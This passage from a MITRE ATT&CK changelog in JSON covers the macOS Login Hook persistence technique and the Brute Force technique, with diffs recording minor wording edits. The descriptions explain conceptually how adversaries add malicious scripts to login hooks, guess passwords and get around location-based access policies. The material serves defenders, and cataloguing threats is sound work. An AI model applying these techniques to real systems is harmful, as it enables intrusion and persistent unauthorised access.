                            "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html"
                        },
                        {
                            "source_name": "LoginWindowScripts Apple Dev",
                            "description": "Apple. (n.d.). LoginWindowScripts. Retrieved April 1, 2022.",
                            "url": "https://developer.apple.com/documentation/devicemanagement/loginwindowscripts"
                        },
                        {
                            "source_name": "Wardle Persistence Chapter",
                            "description": "Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022.",
                            "url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf"
                        },
                        {
                            "source_name": "S1 macOs Persistence",
                            "description": "Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020.",
                            "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "macOS"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 20:11:04.751000+00:00\", \"old_value\": \"2025-10-24 17:48:42.963000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the <code>/Library/Preferences/com.apple.loginwindow.plist</code> file and can be modified using the <code>defaults</code> command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \\n\\nAdversaries can add or insert a path to a malicious script in the <code>com.apple.loginwindow.plist</code> file, using the <code>LoginHook</code> or <code>LogoutHook</code> key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\\n\\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001).\", \"old_value\": \"Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the <code>/Library/Preferences/com.apple.loginwindow.plist</code> file and can be modified using the <code>defaults</code> command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \\n\\nAdversaries can add or insert a path to a malicious script in the <code>com.apple.loginwindow.plist</code> file, using the <code>LoginHook</code> or <code>LogoutHook</code> key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\\n\\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) \", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n Adversaries can add or insert a path to a malicious script in the <code>com.apple.loginwindow.plist</code> file, using the <code>LoginHook</code> or <code>LogoutHook</code> key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\\n \\n-**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) \\n+**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001).\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to32__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to32__0\"><a href=\"#difflib_chg_to32__top\">t</a></td><td class=\"diff_header\" id=\"from32_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;a&nbsp;Login&nbsp;Hook&nbsp;to&nbsp;establish&nbsp;persistence&nbsp;ex</td><td class=\"diff_next\"><a href=\"#difflib_chg_to32__top\">t</a></td><td class=\"diff_header\" id=\"to32_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;a&nbsp;Login&nbsp;Hook&nbsp;to&nbsp;establish&nbsp;persistence&nbsp;ex</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ecuted&nbsp;upon&nbsp;user&nbsp;logon.&nbsp;A&nbsp;login&nbsp;hook&nbsp;is&nbsp;a&nbsp;plist&nbsp;file&nbsp;that&nbsp;po</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ecuted&nbsp;upon&nbsp;user&nbsp;logon.&nbsp;A&nbsp;login&nbsp;hook&nbsp;is&nbsp;a&nbsp;plist&nbsp;file&nbsp;that&nbsp;po</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ints&nbsp;to&nbsp;a&nbsp;specific&nbsp;script&nbsp;to&nbsp;execute&nbsp;with&nbsp;root&nbsp;privileges&nbsp;up</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ints&nbsp;to&nbsp;a&nbsp;specific&nbsp;script&nbsp;to&nbsp;execute&nbsp;with&nbsp;root&nbsp;privileges&nbsp;up</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;user&nbsp;logon.&nbsp;The&nbsp;plist&nbsp;file&nbsp;is&nbsp;located&nbsp;in&nbsp;the&nbsp;&lt;code&gt;/Libra</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;user&nbsp;logon.&nbsp;The&nbsp;plist&nbsp;file&nbsp;is&nbsp;located&nbsp;in&nbsp;the&nbsp;&lt;code&gt;/Libra</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ry/Preferences/com.apple.loginwindow.plist&lt;/code&gt;&nbsp;file&nbsp;and&nbsp;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ry/Preferences/com.apple.loginwindow.plist&lt;/code&gt;&nbsp;file&nbsp;and&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">an&nbsp;be&nbsp;modified&nbsp;using&nbsp;the&nbsp;&lt;code&gt;defaults&lt;/code&gt;&nbsp;command-line&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">an&nbsp;be&nbsp;modified&nbsp;using&nbsp;the&nbsp;&lt;code&gt;defaults&lt;/code&gt;&nbsp;command-line&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">utility.&nbsp;This&nbsp;behavior&nbsp;is&nbsp;the&nbsp;same&nbsp;for&nbsp;logout&nbsp;hooks&nbsp;where&nbsp;a&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">utility.&nbsp;This&nbsp;behavior&nbsp;is&nbsp;the&nbsp;same&nbsp;for&nbsp;logout&nbsp;hooks&nbsp;where&nbsp;a&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">script&nbsp;can&nbsp;be&nbsp;executed&nbsp;upon&nbsp;user&nbsp;logout.&nbsp;All&nbsp;hooks&nbsp;require&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">script&nbsp;can&nbsp;be&nbsp;executed&nbsp;upon&nbsp;user&nbsp;logout.&nbsp;All&nbsp;hooks&nbsp;require&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dministrator&nbsp;permissions&nbsp;to&nbsp;modify&nbsp;or&nbsp;create&nbsp;hooks.(Citation</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dministrator&nbsp;permissions&nbsp;to&nbsp;modify&nbsp;or&nbsp;create&nbsp;hooks.(Citation</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">:&nbsp;Login&nbsp;Scripts&nbsp;Apple&nbsp;Dev)(Citation:&nbsp;LoginWindowScripts&nbsp;Appl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">:&nbsp;Login&nbsp;Scripts&nbsp;Apple&nbsp;Dev)(Citation:&nbsp;LoginWindowScripts&nbsp;Appl</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;Dev)&nbsp;&nbsp;&nbsp;Adversaries&nbsp;can&nbsp;add&nbsp;or&nbsp;insert&nbsp;a&nbsp;path&nbsp;to&nbsp;a&nbsp;malicious</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;Dev)&nbsp;&nbsp;&nbsp;Adversaries&nbsp;can&nbsp;add&nbsp;or&nbsp;insert&nbsp;a&nbsp;path&nbsp;to&nbsp;a&nbsp;malicious</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;script&nbsp;in&nbsp;the&nbsp;&lt;code&gt;com.apple.loginwindow.plist&lt;/code&gt;&nbsp;file</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;script&nbsp;in&nbsp;the&nbsp;&lt;code&gt;com.apple.loginwindow.plist&lt;/code&gt;&nbsp;file</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;using&nbsp;the&nbsp;&lt;code&gt;LoginHook&lt;/code&gt;&nbsp;or&nbsp;&lt;code&gt;LogoutHook&lt;/code</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;using&nbsp;the&nbsp;&lt;code&gt;LoginHook&lt;/code&gt;&nbsp;or&nbsp;&lt;code&gt;LogoutHook&lt;/code</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&gt;&nbsp;key-value&nbsp;pair.&nbsp;The&nbsp;malicious&nbsp;script&nbsp;is&nbsp;executed&nbsp;upon&nbsp;the&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&gt;&nbsp;key-value&nbsp;pair.&nbsp;The&nbsp;malicious&nbsp;script&nbsp;is&nbsp;executed&nbsp;upon&nbsp;the&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">next&nbsp;user&nbsp;login.&nbsp;If&nbsp;a&nbsp;login&nbsp;hook&nbsp;already&nbsp;exists,&nbsp;adversaries</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">next&nbsp;user&nbsp;login.&nbsp;If&nbsp;a&nbsp;login&nbsp;hook&nbsp;already&nbsp;exists,&nbsp;adversaries</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;can&nbsp;add&nbsp;additional&nbsp;commands&nbsp;to&nbsp;an&nbsp;existing&nbsp;login&nbsp;hook.&nbsp;Ther</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;can&nbsp;add&nbsp;additional&nbsp;commands&nbsp;to&nbsp;an&nbsp;existing&nbsp;login&nbsp;hook.&nbsp;Ther</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;can&nbsp;be&nbsp;only&nbsp;one&nbsp;login&nbsp;and&nbsp;logout&nbsp;hook&nbsp;on&nbsp;a&nbsp;system&nbsp;at&nbsp;a&nbsp;tim</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;can&nbsp;be&nbsp;only&nbsp;one&nbsp;login&nbsp;and&nbsp;logout&nbsp;hook&nbsp;on&nbsp;a&nbsp;system&nbsp;at&nbsp;a&nbsp;tim</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e.(Citation:&nbsp;S1&nbsp;macOs&nbsp;Persistence)(Citation:&nbsp;Wardle&nbsp;Persiste</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e.(Citation:&nbsp;S1&nbsp;macOs&nbsp;Persistence)(Citation:&nbsp;Wardle&nbsp;Persiste</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nce&nbsp;Chapter)&nbsp;&nbsp;**Note:**&nbsp;Login&nbsp;hooks&nbsp;were&nbsp;deprecated&nbsp;in&nbsp;10.11</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nce&nbsp;Chapter)&nbsp;&nbsp;**Note:**&nbsp;Login&nbsp;hooks&nbsp;were&nbsp;deprecated&nbsp;in&nbsp;10.11</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;version&nbsp;of&nbsp;macOS&nbsp;in&nbsp;favor&nbsp;of&nbsp;[Launch&nbsp;Daemon](https://attack</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;version&nbsp;of&nbsp;macOS&nbsp;in&nbsp;favor&nbsp;of&nbsp;[Launch&nbsp;Daemon](https://attack</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.mitre.org/techniques/T1543/004)&nbsp;and&nbsp;[Launch&nbsp;Agent](https://</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.mitre.org/techniques/T1543/004)&nbsp;and&nbsp;[Launch&nbsp;Agent](https://</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">attack.mitre.org/techniques/T1543/001)<span class=\"diff_chg\">&nbsp;</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">attack.mitre.org/techniques/T1543/001)<span class=\"diff_chg\">.</span></td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1022: Restrict File and Directory Permissions"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0244: Detection Strategy for Login Hook Persistence on macOS"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2017-05-31 21:31:22.767000+00:00",
                    "modified": "2026-11-03 21:47:10.515000+00:00",
                    "name": "Brute Force",
                    "description": "Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\n\nBrute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access. \n\nIf an adversary guesses the correct password but fails to log in to a compromised account due to location-based conditional access policies, they may change their infrastructure until they match the victim\u2019s location and therefore bypass those policies.(Citation: ReliaQuest Health Care Social Engineering Campaign 2024)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "credential-access"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1110",
                            "external_id": "T1110"
                        },
                        {
                            "source_name": "TrendMicro Pawn Storm Dec 2020",
                            "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021.",
                            "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html"
                        },
                        {
                            "source_name": "ReliaQuest Health Care Social Engineering Campaign 2024",
                            "description": "Hayden Evans. (2024, April 4). Health Care Social Engineering Campaign. Retrieved May 22, 2025.",
                            "url": "https://www.reliaquest.com/blog/health-care-social-engineering-campaign/"
                        },
                        {
                            "source_name": "Dragos Crashoverride 2018",
                            "description": "Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.",
                            "url": "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "David Fiser, @anu4is, Trend Micro",
                        "Alfredo Oliveira, Trend Micro",
                        "Magno Logan, @magnologan, Trend Micro",
                        "Yossi Weizman, Azure Defender Research Team",
                        "Ed Williams, Trustwave, SpiderLabs",
                        "Mohamed Kmal",
                        "ReliaQuest"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Containers",
                        "ESXi",
                        "IaaS",
                        "Identity Provider",
                        "Linux",
                        "macOS",
                        "Network Devices",
                        "Office Suite",
                        "SaaS",
                        "Windows"
                    ],
                    "x_mitre_version": "2.8",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:47:10.515000+00:00\", \"old_value\": \"2026-05-12 15:12:00.706000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\\n\\nBrute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access. \\n\\nIf an adversary guesses the correct password but fails to log in to a compromised account due to location-based conditional access policies, they may change their infrastructure until they match the victim\\u2019s location and therefore bypass those policies.(Citation: ReliaQuest Health Care Social Engineering Campaign 2024)\", \"old_value\": \"Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\\n\\nBrute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access. \\n\\nIf an adversary guesses the correct password but fails to login to a compromised account due to location-based conditional access policies, they may change their infrastructure until they match the victim\\u2019s location and therefore bypass those policies.(Citation: ReliaQuest Health Care Social Engineering Campaign 2024)\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access. \\n \\n-If an adversary guesses the correct password but fails to login to a compromised account due to location-based conditional access policies, they may change their infrastructure until they match the victim\\u2019s location and therefore bypass those policies.(Citation: ReliaQuest Health Care Social Engineering Campaign 2024)\\n+If an adversary guesses the correct password but fails to log in to a compromised account due to location-based conditional access policies, they may change their infrastructure until they match the victim\\u2019s location and therefore bypass those policies.(Citation: ReliaQuest Health Care Social Engineering Campaign 2024)\"}}}",
                    "previous_version": "2.8",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to36__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to36__0\"><a href=\"#difflib_chg_to36__top\">t</a></td><td class=\"diff_header\" id=\"from36_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;brute&nbsp;force&nbsp;techniques&nbsp;to&nbsp;gain&nbsp;access&nbsp;to</td><td class=\"diff_next\"><a href=\"#difflib_chg_to36__top\">t</a></td><td class=\"diff_header\" id=\"to36_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;brute&nbsp;force&nbsp;techniques&nbsp;to&nbsp;gain&nbsp;access&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;accounts&nbsp;when&nbsp;passwords&nbsp;are&nbsp;unknown&nbsp;or&nbsp;when&nbsp;password&nbsp;hashes</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;accounts&nbsp;when&nbsp;passwords&nbsp;are&nbsp;unknown&nbsp;or&nbsp;when&nbsp;password&nbsp;hashes</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;are&nbsp;obtained.(Citation:&nbsp;TrendMicro&nbsp;Pawn&nbsp;Storm&nbsp;Dec&nbsp;2020)&nbsp;Wit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;are&nbsp;obtained.(Citation:&nbsp;TrendMicro&nbsp;Pawn&nbsp;Storm&nbsp;Dec&nbsp;2020)&nbsp;Wit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hout&nbsp;knowledge&nbsp;of&nbsp;the&nbsp;password&nbsp;for&nbsp;an&nbsp;account&nbsp;or&nbsp;set&nbsp;of&nbsp;acco</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hout&nbsp;knowledge&nbsp;of&nbsp;the&nbsp;password&nbsp;for&nbsp;an&nbsp;account&nbsp;or&nbsp;set&nbsp;of&nbsp;acco</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">unts,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;systematically&nbsp;guess&nbsp;the&nbsp;password&nbsp;usi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">unts,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;systematically&nbsp;guess&nbsp;the&nbsp;password&nbsp;usi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;a&nbsp;repetitive&nbsp;or&nbsp;iterative&nbsp;mechanism.(Citation:&nbsp;Dragos&nbsp;Cra</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;a&nbsp;repetitive&nbsp;or&nbsp;iterative&nbsp;mechanism.(Citation:&nbsp;Dragos&nbsp;Cra</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">shoverride&nbsp;2018)&nbsp;Brute&nbsp;forcing&nbsp;passwords&nbsp;can&nbsp;take&nbsp;place&nbsp;via&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">shoverride&nbsp;2018)&nbsp;Brute&nbsp;forcing&nbsp;passwords&nbsp;can&nbsp;take&nbsp;place&nbsp;via&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">interaction&nbsp;with&nbsp;a&nbsp;service&nbsp;that&nbsp;will&nbsp;check&nbsp;the&nbsp;validity&nbsp;of&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">interaction&nbsp;with&nbsp;a&nbsp;service&nbsp;that&nbsp;will&nbsp;check&nbsp;the&nbsp;validity&nbsp;of&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hose&nbsp;credentials&nbsp;or&nbsp;offline&nbsp;against&nbsp;previously&nbsp;acquired&nbsp;cred</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hose&nbsp;credentials&nbsp;or&nbsp;offline&nbsp;against&nbsp;previously&nbsp;acquired&nbsp;cred</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ential&nbsp;data,&nbsp;such&nbsp;as&nbsp;password&nbsp;hashes.&nbsp;&nbsp;Brute&nbsp;forcing&nbsp;credent</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ential&nbsp;data,&nbsp;such&nbsp;as&nbsp;password&nbsp;hashes.&nbsp;&nbsp;Brute&nbsp;forcing&nbsp;credent</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ials&nbsp;may&nbsp;take&nbsp;place&nbsp;at&nbsp;various&nbsp;points&nbsp;during&nbsp;a&nbsp;breach.&nbsp;For&nbsp;e</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ials&nbsp;may&nbsp;take&nbsp;place&nbsp;at&nbsp;various&nbsp;points&nbsp;during&nbsp;a&nbsp;breach.&nbsp;For&nbsp;e</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xample,&nbsp;adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;brute&nbsp;force&nbsp;access&nbsp;to&nbsp;[Va</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xample,&nbsp;adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;brute&nbsp;force&nbsp;access&nbsp;to&nbsp;[Va</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 